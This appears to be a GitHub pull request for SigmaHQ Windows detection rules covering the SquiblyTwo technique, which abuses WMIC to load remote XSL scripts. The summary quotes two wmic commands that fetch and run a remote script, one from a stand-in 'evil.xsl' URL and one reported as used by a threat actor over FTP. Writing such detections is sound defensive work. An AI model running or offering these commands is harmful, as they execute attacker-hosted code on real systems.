update: SquiblyTwo Related Rules #5476
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phantinuss
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Jun 12, 2025
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couldn't we make this rule level: high?
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I think we could but there must be some reason for it to keep medium. Idk
rules/windows/process_creation/proc_creation_win_wmic_xsl_script_processing.yml
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rules/windows/process_creation/proc_creation_win_wmic_squiblytwo_bypass.yml
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Co-authored-by: phantinuss <79651203+phantinuss@users.noreply.github.com>
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Summary of the Pull Request
In the current scenario, If I ran this command
wmic os get /FORMAT:"https[:]//example[.]com/evil[.]xsl"Both of the following rules gets triggered.
And plus the first rule only triggers if SquiblyTwo Technique is executed via http/s only. But, In this case, threat actor executes this technique via ftp via following command.
wmic os get /format:\"ftp://u:u@b.smtper.co/beta/usoprive\Looking at the LOLBAS documentation, the example is using UNC path.
Thus, I have made necessary changes to avoid duplication of rules and increase the detection coverage.
Changelog
update: WMIC Loading Scripting Libraries - Description modified and related rules added
update: Potential SquiblyTwo Technique Execution - Extended coverage for remote execution
update: XSL Script Execution Via WMIC.EXE - Filtered out remote execution parameters
Example Log Event
Fixed Issues
SigmaHQ Rule Creation Conventions